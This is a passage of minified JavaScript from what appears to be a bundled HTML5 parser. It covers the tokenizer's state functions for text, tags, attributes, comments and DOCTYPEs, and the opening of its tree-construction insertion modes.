if(n===\"\\0\")t._parseError(\"invalid-codepoint\"),t._emitToken({type:\"Characters\",data:\"\\ufffd\"}),e.commit();else{var i=e.matchUntil(\"&|<|\\0\");t._emitToken({type:\"Characters\",data:n+i}),e.commit()}return!0}function l(e){var n=i.consumeEntity(e,t);return t.setState(f),t._emitToken({type:\"Characters\",data:n||\"&\"}),!0}function c(e){var n=e.char();if(n===r.EOF)return t._emitToken({type:\"EOF\",data:null}),!1;if(n===\"<\")t.setState(g);else if(n===\"\\0\")t._parseError(\"invalid-codepoint\"),t._emitToken({type:\"Characters\",data:\"\\ufffd\"}),e.commit();else{var i=e.matchUntil(\"<|\\0\");t._emitToken({type:\"Characters\",data:n+i})}return!0}function h(e){var n=e.char();if(n===r.EOF)return t._emitToken({type:\"EOF\",data:null}),!1;if(n===\"\\0\")t._parseError(\"invalid-codepoint\"),t._emitToken({type:\"Characters\",data:\"\\ufffd\"}),e.commit();else{var i=e.matchUntil(\"\\0\");t._emitToken({type:\"Characters\",data:n+i})}return!0}function p(e){var n=e.char();if(n===r.EOF)return t._emitToken({type:\"EOF\",data:null}),!1;if(n===\"<\")t.setState(w);else if(n===\"\\0\")t._parseError(\"invalid-codepoint\"),t._emitToken({type:\"Characters\",data:\"\\ufffd\"}),e.commit();else{var i=e.matchUntil(\"<|\\0\");t._emitToken({type:\"Characters\",data:n+i})}return!0}function d(e){var n=e.char();return n===\"/\"?(this._temporaryBuffer=\"\",t.setState(v)):(t._emitToken({type:\"Characters\",data:\"<\"}),e.unget(n),t.setState(f)),!0}function v(e){var n=e.char();return o(n)?(this._temporaryBuffer+=n,t.setState(m)):(t._emitToken({type:\"Characters\",data:\"</\"}),e.unget(n),t.setState(f)),!0}function m(e){var r=t._currentToken&&t._currentToken.name===this._temporaryBuffer.toLowerCase(),i=e.char();return s(i)&&r?(t._currentToken={type:\"EndTag\",name:this._temporaryBuffer,data:[],selfClosing:!1},t.setState(q)):i===\"/\"&&r?(t._currentToken={type:\"EndTag\",name:this._temporaryBuffer,data:[],selfClosing:!1},t.setState(K)):i===\">\"&&r?(t._currentToken={type:\"EndTag\",name:this._temporaryBuffer,data:[],selfClosing:!1},t._emitCurrentToken(),t.setState(n)):o(i)?(this._temporaryBuffer+=i,e.commit()):(t._emitToken({type:\"Characters\",data:\"</\"+this._temporaryBuffer}),e.unget(i),t.setState(f)),!0}function g(e){var n=e.char();return n===\"/\"?(this._temporaryBuffer=\"\",t.setState(y)):(t._emitToken({type:\"Characters\",data:\"<\"}),e.unget(n),t.setState(c)),!0}function y(e){var n=e.char();return o(n)?(this._temporaryBuffer+=n,t.setState(b)):(t._emitToken({type:\"Characters\",data:\"</\"}),e.unget(n),t.setState(c)),!0}function b(e){var r=t._currentToken&&t._currentToken.name===this._temporaryBuffer.toLowerCase(),i=e.char();return s(i)&&r?(t._currentToken={type:\"EndTag\",name:this._temporaryBuffer,data:[],selfClosing:!1},t.setState(q)):i===\"/\"&&r?(t._currentToken={type:\"EndTag\",name:this._temporaryBuffer,data:[],selfClosing:!1},t.setState(K)):i===\">\"&&r?(t._currentToken={type:\"EndTag\",name:this._temporaryBuffer,data:[],selfClosing:!1},t._emitCurrentToken(),t.setState(n)):o(i)?(this._temporaryBuffer+=i,e.commit()):(t._emitToken({type:\"Characters\",data:\"</\"+this._temporaryBuffer}),e.unget(i),t.setState(c)),!0}function w(e){var n=e.char();return n===\"/\"?(this._temporaryBuffer=\"\",t.setState(E)):n===\"!\"?(t._emitToken({type:\"Characters\",data:\"<!\"}),t.setState(x)):(t._emitToken({type:\"Characters\",data:\"<\"}),e.unget(n),t.setState(p)),!0}function E(e){var n=e.char();return o(n)?(this._temporaryBuffer+=n,t.setState(S)):(t._emitToken({type:\"Characters\",data:\"</\"}),e.unget(n),t.setState(p)),!0}function S(e){var n=t._currentToken&&t._currentToken.name===this._temporaryBuffer.toLowerCase(),r=e.char();return s(r)&&n?(t._currentToken={type:\"EndTag\",name:\"script\",data:[],selfClosing:!1},t.setState(q)):r===\"/\"&&n?(t._currentToken={type:\"EndTag\",name:\"script\",data:[],selfClosing:!1},t.setState(K)):r===\">\"&&n?(t._currentToken={type:\"EndTag\",name:\"script\",data:[],selfClosing:!1},t._emitCurrentToken()):o(r)?(this._temporaryBuffer+=r,e.commit()):(t._emitToken({type:\"Characters\",data:\"</\"+this._temporaryBuffer}),e.unget(r),t.setState(p)),!0}function x(e){var n=e.char();return n===\"-\"?(t._emitToken({type:\"Characters\",data:\"-\"}),t.setState(T)):(e.unget(n),t.setState(p)),!0}function T(e){var n=e.char();return n===\"-\"?(t._emitToken({type:\"Characters\",data:\"-\"}),t.setState(k)):(e.unget(n),t.setState(p)),!0}function N(e){var i=e.char();if(i===r.EOF)e.unget(i),t.setState(n);else if(i===\"-\")t._emitToken({type:\"Characters\",data:\"-\"}),t.setState(C);else if(i===\"<\")t.setState(L);else if(i===\"\\0\")t._parseError(\"invalid-codepoint\"),t._emitToken({type:\"Characters\",data:\"\\ufffd\"}),e.commit();else{var s=e.matchUntil(\"<|-|\\0\");t._emitToken({type:\"Characters\",data:i+s})}return!0}function C(e){var i=e.char();return i===r.EOF?(e.unget(i),t.setState(n)):i===\"-\"?(t._emitToken({type:\"Characters\",data:\"-\"}),t.setState(k)):i===\"<\"?t.setState(L):i===\"\\0\"?(t._parseError(\"invalid-codepoint\"),t._emitToken({type:\"Characters\",data:\"\\ufffd\"}),t.setState(N)):(t._emitToken({type:\"Characters\",data:i}),t.setState(N)),!0}function k(e){var i=e.char();return i===r.EOF?(t._parseError(\"eof-in-script\"),e.unget(i),t.setState(n)):i===\"<\"?t.setState(L):i===\">\"?(t._emitToken({type:\"Characters\",data:\">\"}),t.setState(p)):i===\"\\0\"?(t._parseError(\"invalid-codepoint\"),t._emitToken({type:\"Characters\",data:\"\\ufffd\"}),t.setState(N)):(t._emitToken({type:\"Characters\",data:i}),t.setState(N)),!0}function L(e){var n=e.char();return n===\"/\"?(this._temporaryBuffer=\"\",t.setState(A)):o(n)?(t._emitToken({type:\"Characters\",data:\"<\"+n}),this._temporaryBuffer=n,t.setState(M)):(t._emitToken({type:\"Characters\",data:\"<\"}),e.unget(n),t.setState(N)),!0}function A(e){var n=e.char();return o(n)?(this._temporaryBuffer=n,t.setState(O)):(t._emitToken({type:\"Characters\",data:\"</\"}),e.unget(n),t.setState(N)),!0}function O(e){var r=t._currentToken&&t._currentToken.name===this._temporaryBuffer.toLowerCase(),i=e.char();return s(i)&&r?(t._currentToken={type:\"EndTag\",name:\"script\",data:[],selfClosing:!1},t.setState(q)):i===\"/\"&&r?(t._currentToken={type:\"EndTag\",name:\"script\",data:[],selfClosing:!1},t.setState(K)):i===\">\"&&r?(t._currentToken={type:\"EndTag\",name:\"script\",data:[],selfClosing:!1},t.setState(n),t._emitCurrentToken()):o(i)?(this._temporaryBuffer+=i,e.commit()):(t._emitToken({type:\"Characters\",data:\"</\"+this._temporaryBuffer}),e.unget(i),t.setState(N)),!0}function M(e){var n=e.char();return s(n)||n===\"/\"||n===\">\"?(t._emitToken({type:\"Characters\",data:n}),this._temporaryBuffer.toLowerCase()===\"script\"?t.setState(_):t.setState(N)):o(n)?(t._emitToken({type:\"Characters\",data:n}),this._temporaryBuffer+=n,e.commit()):(e.unget(n),t.setState(N)),!0}function _(e){var i=e.char();return i===r.EOF?(t._parseError(\"eof-in-script\"),e.unget(i),t.setState(n)):i===\"-\"?(t._emitToken({type:\"Characters\",data:\"-\"}),t.setState(D)):i===\"<\"?(t._emitToken({type:\"Characters\",data:\"<\"}),t.setState(H)):i===\"\\0\"?(t._parseError(\"invalid-codepoint\"),t._emitToken({type:\"Characters\",data:\"\\ufffd\"}),e.commit()):(t._emitToken({type:\"Characters\",data:i}),e.commit()),!0}function D(e){var i=e.char();return i===r.EOF?(t._parseError(\"eof-in-script\"),e.unget(i),t.setState(n)):i===\"-\"?(t._emitToken({type:\"Characters\",data:\"-\"}),t.setState(P)):i===\"<\"?(t._emitToken({type:\"Characters\",data:\"<\"}),t.setState(H)):i===\"\\0\"?(t._parseError(\"invalid-codepoint\"),t._emitToken({type:\"Characters\",data:\"\\ufffd\"}),t.setState(_)):(t._emitToken({type:\"Characters\",data:i}),t.setState(_)),!0}function P(e){var i=e.char();return i===r.EOF?(t._parseError(\"eof-in-script\"),e.unget(i),t.setState(n)):i===\"-\"?(t._emitToken({type:\"Characters\",data:\"-\"}),e.commit()):i===\"<\"?(t._emitToken({type:\"Characters\",data:\"<\"}),t.setState(H)):i===\">\"?(t._emitToken({type:\"Characters\",data:\">\"}),t.setState(p)):i===\"\\0\"?(t._parseError(\"invalid-codepoint\"),t._emitToken({type:\"Characters\",data:\"\\ufffd\"}),t.setState(_)):(t._emitToken({type:\"Characters\",data:i}),t.setState(_)),!0}function H(e){var n=e.char();return n===\"/\"?(t._emitToken({type:\"Characters\",data:\"/\"}),this._temporaryBuffer=\"\",t.setState(B)):(e.unget(n),t.setState(_)),!0}function B(e){var n=e.char();return s(n)||n===\"/\"||n===\">\"?(t._emitToken({type:\"Characters\",data:n}),this._temporaryBuffer.toLowerCase()===\"script\"?t.setState(N):t.setState(_)):o(n)?(t._emitToken({type:\"Characters\",data:n}),this._temporaryBuffer+=n,e.commit()):(e.unget(n),t.setState(_)),!0}function j(e){var i=e.char();return i===r.EOF?(t._parseError(\"bare-less-than-sign-at-eof\"),t._emitToken({type:\"Characters\",data:\"<\"}),e.unget(i),t.setState(n)):o(i)?(t._currentToken={type:\"StartTag\",name:i.toLowerCase(),data:[]},t.setState(I)):i===\"!\"?t.setState(G):i===\"/\"?t.setState(F):i===\">\"?(t._parseError(\"expected-tag-name-but-got-right-bracket\"),t._emitToken({type:\"Characters\",data:\"<>\"}),t.setState(n)):i===\"?\"?(t._parseError(\"expected-tag-name-but-got-question-mark\"),e.unget(i),t.setState(Q)):(t._parseError(\"expected-tag-name\"),t._emitToken({type:\"Characters\",data:\"<\"}),e.unget(i),t.setState(n)),!0}function F(e){var i=e.char();return i===r.EOF?(t._parseError(\"expected-closing-tag-but-got-eof\"),t._emitToken({type:\"Characters\",data:\"</\"}),e.unget(i),t.setState(n)):o(i)?(t._currentToken={type:\"EndTag\",name:i.toLowerCase(),data:[]},t.setState(I)):i===\">\"?(t._parseError(\"expected-closing-tag-but-got-right-bracket\"),t.setState(n)):(t._parseError(\"expected-closing-tag-but-got-char\",{data:i}),e.unget(i),t.setState(Q)),!0}function I(e){var i=e.char();return i===r.EOF?(t._parseError(\"eof-in-tag-name\"),e.unget(i),t.setState(n)):s(i)?t.setState(q):o(i)?t._currentToken.name+=i.toLowerCase():i===\">\"?t._emitCurrentToken():i===\"/\"?t.setState(K):i===\"\\0\"?(t._parseError(\"invalid-codepoint\"),t._currentToken.name+=\"\\ufffd\"):t._currentToken.name+=i,e.commit(),!0}function q(e){var i=e.char();if(i===r.EOF)t._parseError(\"expected-attribute-name-but-got-eof\"),e.unget(i),t.setState(n);else{if(s(i))return!0;o(i)?(t._currentToken.data.push({nodeName:i.toLowerCase(),nodeValue:\"\"}),t.setState(R)):i===\">\"?t._emitCurrentToken():i===\"/\"?t.setState(K):i===\"'\"||i==='\"'||i===\"=\"||i===\"<\"?(t._parseError(\"invalid-character-in-attribute-name\"),t._currentToken.data.push({nodeName:i,nodeValue:\"\"}),t.setState(R)):i===\"\\0\"?(t._parseError(\"invalid-codepoint\"),t._currentToken.data.push({nodeName:\"\\ufffd\",nodeValue:\"\"})):(t._currentToken.data.push({nodeName:i,nodeValue:\"\"}),t.setState(R))}return!0}function R(e){var i=e.char(),u=!0,a=!1;i===r.EOF?(t._parseError(\"eof-in-attribute-name\"),e.unget(i),t.setState(n),a=!0):i===\"=\"?t.setState(z):o(i)?(t._currentAttribute().nodeName+=i.toLowerCase(),u=!1):i===\">\"?a=!0:s(i)?t.setState(U):i===\"/\"?t.setState(K):i===\"'\"||i==='\"'?(t._parseError(\"invalid-character-in-attribute-name\"),t._currentAttribute().nodeName+=i,u=!1):i===\"\\0\"?(t._parseError(\"invalid-codepoint\"),t._currentAttribute().nodeName+=\"\\ufffd\"):(t._currentAttribute().nodeName+=i,u=!1);if(u){var f=t._currentToken.data,l=f[f.length-1];for(var c=f.length-2;c>=0;c--)if(l.nodeName===f[c].nodeName){t._parseError(\"duplicate-attribute\",{name:l.nodeName}),l.nodeName=null;break}a&&t._emitCurrentToken()}else e.commit();return!0}function U(e){var i=e.char();if(i===r.EOF)t._parseError(\"expected-end-of-tag-but-got-eof\"),e.unget(i),t.setState(n);else{if(s(i))return!0;i===\"=\"?t.setState(z):i===\">\"?t._emitCurrentToken():o(i)?(t._currentToken.data.push({nodeName:i,nodeValue:\"\"}),t.setState(R)):i===\"/\"?t.setState(K):i===\"'\"||i==='\"'||i===\"<\"?(t._parseError(\"invalid-character-after-attribute-name\"),t._currentToken.data.push({nodeName:i,nodeValue:\"\"}),t.setState(R)):i===\"\\0\"?(t._parseError(\"invalid-codepoint\"),t._currentToken.data.push({nodeName:\"\\ufffd\",nodeValue:\"\"})):(t._currentToken.data.push({nodeName:i,nodeValue:\"\"}),t.setState(R))}return!0}function z(e){var i=e.char();if(i===r.EOF)t._parseError(\"expected-attribute-value-but-got-eof\"),e.unget(i),t.setState(n);else{if(s(i))return!0;i==='\"'?t.setState(W):i===\"&\"?(t.setState(V),e.unget(i)):i===\"'\"?t.setState(X):i===\">\"?(t._parseError(\"expected-attribute-value-but-got-right-bracket\"),t._emitCurrentToken()):i===\"=\"||i===\"<\"||i===\"`\"?(t._parseError(\"unexpected-character-in-unquoted-attribute-value\"),t._currentAttribute().nodeValue+=i,t.setState(V)):i===\"\\0\"?(t._parseError(\"invalid-codepoint\"),t._currentAttribute().nodeValue+=\"\\ufffd\"):(t._currentAttribute().nodeValue+=i,t.setState(V))}return!0}function W(e){var i=e.char();if(i===r.EOF)t._parseError(\"eof-in-attribute-value-double-quote\"),e.unget(i),t.setState(n);else if(i==='\"')t.setState(J);else if(i===\"&\")this._additionalAllowedCharacter='\"',t.setState($);else if(i===\"\\0\")t._parseError(\"invalid-codepoint\"),t._currentAttribute().nodeValue+=\"\\ufffd\";else{var s=e.matchUntil('[\\0\"&]');i+=s,t._currentAttribute().nodeValue+=i}return!0}function X(e){var i=e.char();return i===r.EOF?(t._parseError(\"eof-in-attribute-value-single-quote\"),e.unget(i),t.setState(n)):i===\"'\"?t.setState(J):i===\"&\"?(this._additionalAllowedCharacter=\"'\",t.setState($)):i===\"\\0\"?(t._parseError(\"invalid-codepoint\"),t._currentAttribute().nodeValue+=\"\\ufffd\"):t._currentAttribute().nodeValue+=i+e.matchUntil(\"\\0|['&]\"),!0}function V(e){var i=e.char();if(i===r.EOF)t._parseError(\"eof-after-attribute-value\"),e.unget(i),t.setState(n);else if(s(i))t.setState(q);else if(i===\"&\")this._additionalAllowedCharacter=\">\",t.setState($);else if(i===\">\")t._emitCurrentToken();else if(i==='\"'||i===\"'\"||i===\"=\"||i===\"`\"||i===\"<\")t._parseError(\"unexpected-character-in-unquoted-attribute-value\"),t._currentAttribute().nodeValue+=i,e.commit();else if(i===\"\\0\")t._parseError(\"invalid-codepoint\"),t._currentAttribute().nodeValue+=\"\\ufffd\";else{var o=e.matchUntil(\"\\0|[\t\\n\u000b\\f \\r&<>\\\"'=`]\");o===r.EOF&&(t._parseError(\"eof-in-attribute-value-no-quotes\"),t._emitCurrentToken()),e.commit(),t._currentAttribute().nodeValue+=i+o}return!0}function $(e){var n=i.consumeEntity(e,t,this._additionalAllowedCharacter);return this._currentAttribute().nodeValue+=n||\"&\",this._additionalAllowedCharacter==='\"'?t.setState(W):this._additionalAllowedCharacter===\"'\"?t.setState(X):this._additionalAllowedCharacter===\">\"&&t.setState(V),!0}function J(e){var i=e.char();return i===r.EOF?(t._parseError(\"eof-after-attribute-value\"),e.unget(i),t.setState(n)):s(i)?t.setState(q):i===\">\"?(t.setState(n),t._emitCurrentToken()):i===\"/\"?t.setState(K):(t._parseError(\"unexpected-character-after-attribute-value\"),e.unget(i),t.setState(q)),!0}function K(e){var i=e.char();return i===r.EOF?(t._parseError(\"unexpected-eof-after-solidus-in-tag\"),e.unget(i),t.setState(n)):i===\">\"?(t._currentToken.selfClosing=!0,t.setState(n),t._emitCurrentToken()):(t._parseError(\"unexpected-character-after-solidus-in-tag\"),e.unget(i),t.setState(q)),!0}function Q(e){var r=e.matchUntil(\">\");return r=r.replace(/\\u0000/g,\"\\ufffd\"),e.char(),t._emitToken({type:\"Comment\",data:r}),t.setState(n),!0}function G(e){var n=e.shift(2);if(n===\"--\")t._currentToken={type:\"Comment\",data:\"\"},t.setState(Z);else{var i=e.shift(5);if(i===r.EOF||n===r.EOF)return t._parseError(\"expected-dashes-or-doctype\"),t.setState(Q),e.unget(n),!0;n+=i,n.toUpperCase()===\"DOCTYPE\"?(t._currentToken={type:\"Doctype\",name:\"\",publicId:null,systemId:null,forceQuirks:!1},t.setState(st)):t._tokenHandler.isCdataSectionAllowed()&&n===\"[CDATA[\"?t.setState(Y):(t._parseError(\"expected-dashes-or-doctype\"),e.unget(n),t.setState(Q))}return!0}function Y(e){var r=e.matchUntil(\"]]>\");return e.shift(3),r&&t._emitToken({type:\"Characters\",data:r}),t.setState(n),!0}function Z(e){var i=e.char();return i===r.EOF?(t._parseError(\"eof-in-comment\"),t._emitToken(t._currentToken),e.unget(i),t.setState(n)):i===\"-\"?t.setState(et):i===\">\"?(t._parseError(\"incorrect-comment\"),t._emitToken(t._currentToken),t.setState(n)):i===\"\\0\"?(t._parseError(\"invalid-codepoint\"),t._currentToken.data+=\"\\ufffd\"):(t._currentToken.data+=i,t.setState(tt)),!0}function et(e){var i=e.char();return i===r.EOF?(t._parseError(\"eof-in-comment\"),t._emitToken(t._currentToken),e.unget(i),t.setState(n)):i===\"-\"?t.setState(rt):i===\">\"?(t._parseError(\"incorrect-comment\"),t._emitToken(t._currentToken),t.setState(n)):i===\"\\0\"?(t._parseError(\"invalid-codepoint\"),t._currentToken.data+=\"\\ufffd\"):(t._currentToken.data+=\"-\"+i,t.setState(tt)),!0}function tt(e){var i=e.char();return i===r.EOF?(t._parseError(\"eof-in-comment\"),t._emitToken(t._currentToken),e.unget(i),t.setState(n)):i===\"-\"?t.setState(nt):i===\"\\0\"?(t._parseError(\"invalid-codepoint\"),t._currentToken.data+=\"\\ufffd\"):(t._currentToken.data+=i,e.commit()),!0}function nt(e){var i=e.char();return i===r.EOF?(t._parseError(\"eof-in-comment-end-dash\"),t._emitToken(t._currentToken),e.unget(i),t.setState(n)):i===\"-\"?t.setState(rt):i===\"\\0\"?(t._parseError(\"invalid-codepoint\"),t._currentToken.data+=\"-\\ufffd\",t.setState(tt)):(t._currentToken.data+=\"-\"+i+e.matchUntil(\"\\0|-\"),e.char()),!0}function rt(e){var i=e.char();return i===r.EOF?(t._parseError(\"eof-in-comment-double-dash\"),t._emitToken(t._currentToken),e.unget(i),t.setState(n)):i===\">\"?(t._emitToken(t._currentToken),t.setState(n)):i===\"!\"?(t._parseError(\"unexpected-bang-after-double-dash-in-comment\"),t.setState(it)):i===\"-\"?(t._parseError(\"unexpected-dash-after-double-dash-in-comment\"),t._currentToken.data+=i):i===\"\\0\"?(t._parseError(\"invalid-codepoint\"),t._currentToken.data+=\"--\\ufffd\",t.setState(tt)):(t._parseError(\"unexpected-char-in-comment\"),t._currentToken.data+=\"--\"+i,t.setState(tt)),!0}function it(e){var i=e.char();return i===r.EOF?(t._parseError(\"eof-in-comment-end-bang-state\"),t._emitToken(t._currentToken),e.unget(i),t.setState(n)):i===\">\"?(t._emitToken(t._currentToken),t.setState(n)):i===\"-\"?(t._currentToken.data+=\"--!\",t.setState(nt)):(t._currentToken.data+=\"--!\"+i,t.setState(tt)),!0}function st(e){var i=e.char();return i===r.EOF?(t._parseError(\"expected-doctype-name-but-got-eof\"),t._currentToken.forceQuirks=!0,e.unget(i),t.setState(n),t._emitCurrentToken()):s(i)?t.setState(ot):(t._parseError(\"need-space-after-doctype\"),e.unget(i),t.setState(ot)),!0}function ot(e){var i=e.char();return i===r.EOF?(t._parseError(\"expected-doctype-name-but-got-eof\"),t._currentToken.forceQuirks=!0,e.unget(i),t.setState(n),t._emitCurrentToken()):s(i)||(i===\">\"?(t._parseError(\"expected-doctype-name-but-got-right-bracket\"),t._currentToken.forceQuirks=!0,t.setState(n),t._emitCurrentToken()):(o(i)&&(i=i.toLowerCase()),t._currentToken.name=i,t.setState(ut))),!0}function ut(e){var i=e.char();return i===r.EOF?(t._currentToken.forceQuirks=!0,e.unget(i),t._parseError(\"eof-in-doctype-name\"),t.setState(n),t._emitCurrentToken()):s(i)?t.setState(at):i===\">\"?(t.setState(n),t._emitCurrentToken()):(o(i)&&(i=i.toLowerCase()),t._currentToken.name+=i,e.commit()),!0}function at(e){var i=e.char();if(i===r.EOF)t._currentToken.forceQuirks=!0,e.unget(i),t._parseError(\"eof-in-doctype\"),t.setState(n),t._emitCurrentToken();else if(!s(i))if(i===\">\")t.setState(n),t._emitCurrentToken();else{if([\"p\",\"P\"].indexOf(i)>-1){var o=[[\"u\",\"U\"],[\"b\",\"B\"],[\"l\",\"L\"],[\"i\",\"I\"],[\"c\",\"C\"]],u=o.every(function(t){return i=e.char(),t.indexOf(i)>-1});if(u)return t.setState(ft),!0}else if([\"s\",\"S\"].indexOf(i)>-1){var o=[[\"y\",\"Y\"],[\"s\",\"S\"],[\"t\",\"T\"],[\"e\",\"E\"],[\"m\",\"M\"]],u=o.every(function(t){return i=e.char(),t.indexOf(i)>-1});if(u)return t.setState(vt),!0}e.unget(i),t._currentToken.forceQuirks=!0,i===r.EOF?(t._parseError(\"eof-in-doctype\"),e.unget(i),t.setState(n),t._emitCurrentToken()):(t._parseError(\"expected-space-or-right-bracket-in-doctype\",{data:i}),t.setState(wt))}return!0}function ft(e){var i=e.char();return i===r.EOF?(t._parseError(\"eof-in-doctype\"),t._currentToken.forceQuirks=!0,e.unget(i),t.setState(n),t._emitCurrentToken()):s(i)?t.setState(lt):i===\"'\"||i==='\"'?(t._parseError(\"unexpected-char-in-doctype\"),e.unget(i),t.setState(lt)):(e.unget(i),t.setState(lt)),!0}function lt(e){var i=e.char();return i===r.EOF?(t._parseError(\"eof-in-doctype\"),t._currentToken.forceQuirks=!0,e.unget(i),t.setState(n),t._emitCurrentToken()):s(i)||(i==='\"'?(t._currentToken.publicId=\"\",t.setState(ct)):i===\"'\"?(t._currentToken.publicId=\"\",t.setState(ht)):i===\">\"?(t._parseError(\"unexpected-end-of-doctype\"),t._currentToken.forceQuirks=!0,t.setState(n),t._emitCurrentToken()):(t._parseError(\"unexpected-char-in-doctype\"),t._currentToken.forceQuirks=!0,t.setState(wt))),!0}function ct(e){var i=e.char();return i===r.EOF?(t._parseError(\"eof-in-doctype\"),t._currentToken.forceQuirks=!0,e.unget(i),t.setState(n),t._emitCurrentToken()):i==='\"'?t.setState(pt):i===\">\"?(t._parseError(\"unexpected-end-of-doctype\"),t._currentToken.forceQuirks=!0,t.setState(n),t._emitCurrentToken()):t._currentToken.publicId+=i,!0}function ht(e){var i=e.char();return i===r.EOF?(t._parseError(\"eof-in-doctype\"),t._currentToken.forceQuirks=!0,e.unget(i),t.setState(n),t._emitCurrentToken()):i===\"'\"?t.setState(pt):i===\">\"?(t._parseError(\"unexpected-end-of-doctype\"),t._currentToken.forceQuirks=!0,t.setState(n),t._emitCurrentToken()):t._currentToken.publicId+=i,!0}function pt(e){var i=e.char();return i===r.EOF?(t._parseError(\"eof-in-doctype\"),t._currentToken.forceQuirks=!0,t._emitCurrentToken(),e.unget(i),t.setState(n)):s(i)?t.setState(dt):i===\">\"?(t.setState(n),t._emitCurrentToken()):i==='\"'?(t._parseError(\"unexpected-char-in-doctype\"),t._currentToken.systemId=\"\",t.setState(gt)):i===\"'\"?(t._parseError(\"unexpected-char-in-doctype\"),t._currentToken.systemId=\"\",t.setState(yt)):(t._parseError(\"unexpected-char-in-doctype\"),t._currentToken.forceQuirks=!0,t.setState(wt)),!0}function dt(e){var i=e.char();return i===r.EOF?(t._parseError(\"eof-in-doctype\"),t._currentToken.forceQuirks=!0,t._emitCurrentToken(),e.unget(i),t.setState(n)):s(i)||(i===\">\"?(t._emitCurrentToken(),t.setState(n)):i==='\"'?(t._currentToken.systemId=\"\",t.setState(gt)):i===\"'\"?(t._currentToken.systemId=\"\",t.setState(yt)):(t._parseError(\"unexpected-char-in-doctype\"),t._currentToken.forceQuirks=!0,t.setState(wt))),!0}function vt(e){var i=e.char();return i===r.EOF?(t._parseError(\"eof-in-doctype\"),t._currentToken.forceQuirks=!0,t._emitCurrentToken(),e.unget(i),t.setState(n)):s(i)?t.setState(mt):i===\"'\"||i==='\"'?(t._parseError(\"unexpected-char-in-doctype\"),e.unget(i),t.setState(mt)):(e.unget(i),t.setState(mt)),!0}function mt(e){var i=e.char();return i===r.EOF?(t._parseError(\"eof-in-doctype\"),t._currentToken.forceQuirks=!0,t._emitCurrentToken(),e.unget(i),t.setState(n)):s(i)||(i==='\"'?(t._currentToken.systemId=\"\",t.setState(gt)):i===\"'\"?(t._currentToken.systemId=\"\",t.setState(yt)):i===\">\"?(t._parseError(\"unexpected-end-of-doctype\"),t._currentToken.forceQuirks=!0,t._emitCurrentToken(),t.setState(n)):(t._parseError(\"unexpected-char-in-doctype\"),t._currentToken.forceQuirks=!0,t.setState(wt))),!0}function gt(e){var i=e.char();return i===r.EOF?(t._parseError(\"eof-in-doctype\"),t._currentToken.forceQuirks=!0,t._emitCurrentToken(),e.unget(i),t.setState(n)):i==='\"'?t.setState(bt):i===\">\"?(t._parseError(\"unexpected-end-of-doctype\"),t._currentToken.forceQuirks=!0,t._emitCurrentToken(),t.setState(n)):t._currentToken.systemId+=i,!0}function yt(e){var i=e.char();return i===r.EOF?(t._parseError(\"eof-in-doctype\"),t._currentToken.forceQuirks=!0,t._emitCurrentToken(),e.unget(i),t.setState(n)):i===\"'\"?t.setState(bt):i===\">\"?(t._parseError(\"unexpected-end-of-doctype\"),t._currentToken.forceQuirks=!0,t._emitCurrentToken(),t.setState(n)):t._currentToken.systemId+=i,!0}function bt(e){var i=e.char();return i===r.EOF?(t._parseError(\"eof-in-doctype\"),t._currentToken.forceQuirks=!0,t._emitCurrentToken(),e.unget(i),t.setState(n)):s(i)||(i===\">\"?(t._emitCurrentToken(),t.setState(n)):(t._parseError(\"unexpected-char-in-doctype\"),t.setState(wt))),!0}function wt(e){var i=e.char();return i===r.EOF?(e.unget(i),t._emitCurrentToken(),t.setState(n)):i===\">\"&&(t._emitCurrentToken(),t.setState(n)),!0}u.DATA=n,u.RCDATA=f,u.RAWTEXT=c,u.SCRIPT_DATA=p,u.PLAINTEXT=h,this._state=u.DATA,this._inputStream.append(e),this._tokenHandler.startTokenization(this),this._inputStream.eof=!0;var t=this;while(this._state.call(this,this._inputStream));},Object.defineProperty(u.prototype,\"lineNumber\",{get:function(){return this._inputStream.location().line}}),Object.defineProperty(u.prototype,\"columnNumber\",{get:function(){return this._inputStream.location().column}}),n.Tokenizer=u},{\"./EntityParser\":2,\"./InputStream\":3}],6:[function(e,t,n){function c(e){return e===\" \"||e===\"\\n\"||e===\"\t\"||e===\"\\r\"||e===\"\\f\"}function h(e){return c(e)||e===\"\\ufffd\"}function p(e){for(var t=0;t<e.length;t++){var n=e[t];if(!c(n))return!1}return!0}function d(e){for(var t=0;t<e.length;t++){var n=e[t];if(!h(n))return!1}return!0}function v(e,t){for(var n=0;n<e.attributes.length;n++){var r=e.attributes[n];if(r.nodeName===t)return r}return null}function m(e){this.characters=e,this.current=0,this.end=this.characters.length}function g(){this.tokenizer=null,this.errorHandler=null,this.scriptingEnabled=!1,this.document=null,this.head=null,this.form=null,this.openElements=new a,this.activeFormattingElements=[],this.insertionMode=null,this.insertionModeName=\"\",this.originalInsertionMode=\"\",this.inQuirksMode=!1,this.compatMode=\"no quirks\",this.framesetOk=!0,this.redirectAttachToFosterParent=!1,this.selfClosingFlagAcknowledged=!1,this.context=\"\",this.pendingTableCharacters=[],this.shouldSkipLeadingNewline=!1;var e=this,t=this.insertionModes={};t.base={end_tag_handlers:{\"-default\":\"endTagOther\"},start_tag_handlers:{\"-default\":\"startTagOther\"},processEOF:function(){e.generateImpliedEndTags(),e.openElements.length>2?e.parseError(\"expected-closing-tag-but-got-eof\"):e.openElements.length==2&&e.openElements.item(1).localName!=\"body\"?e.parseError(\"expected-closing-tag-but-got-eof\"):e.context&&e.openElements.length>1},processComment:function(t){e.insertComment(t,e.currentStackItem().node)},processDoctype:function(t,n,r,i){e.parseError(\"unexpected-doctype\")},processStartTag:function(e,t,n){if(this[this.start_tag_handlers[e]])this[this.start_tag_handlers[e]](e,t,n);else{if(!this[this.start_tag_handlers[\"-default\"]])throw new Error(\"No handler found for \"+e);this[this.start_tag_handlers[\"-default\"]](e,t,n)}},processEndTag:function(e){if(this[this.end_tag_handlers[e]])this[this.end_tag_handlers[e]](e);else{if(!this[this.end_tag_handlers[\"-default\"]])throw new Error(\"No handler found for \"+e);this[this.end_tag_handlers[\"-default\"]](e)}},startTagHtml:function(e,n){t.inBody.startTagHtml(e,n)}},t.initial=Object.create(t.base),t.initial.processEOF=function(){e.parseError(\"expected-doctype-but-got-eof\"),this.anythingElse(),e.insertionMode.processEOF()},t.initial.processComment=function(t){e.insertComment(t,e.document)},t.initial.processDoctype=function(t,n,r,i){function s(e){return n.toLowerCase().indexOf(e)===0}e.insertDoctype(t||\"\",n||\"\",r||\"\"),i||t!=\"html\"||n!=null&&([\"+//silmaril//dtd html pro v0r11 19970101//\",\"-//advasoft ltd//dtd html 3.0 aswedit + extensions//\",\"-//as//dtd html 3.0 aswedit + extensions//\",\"-//ietf//dtd html 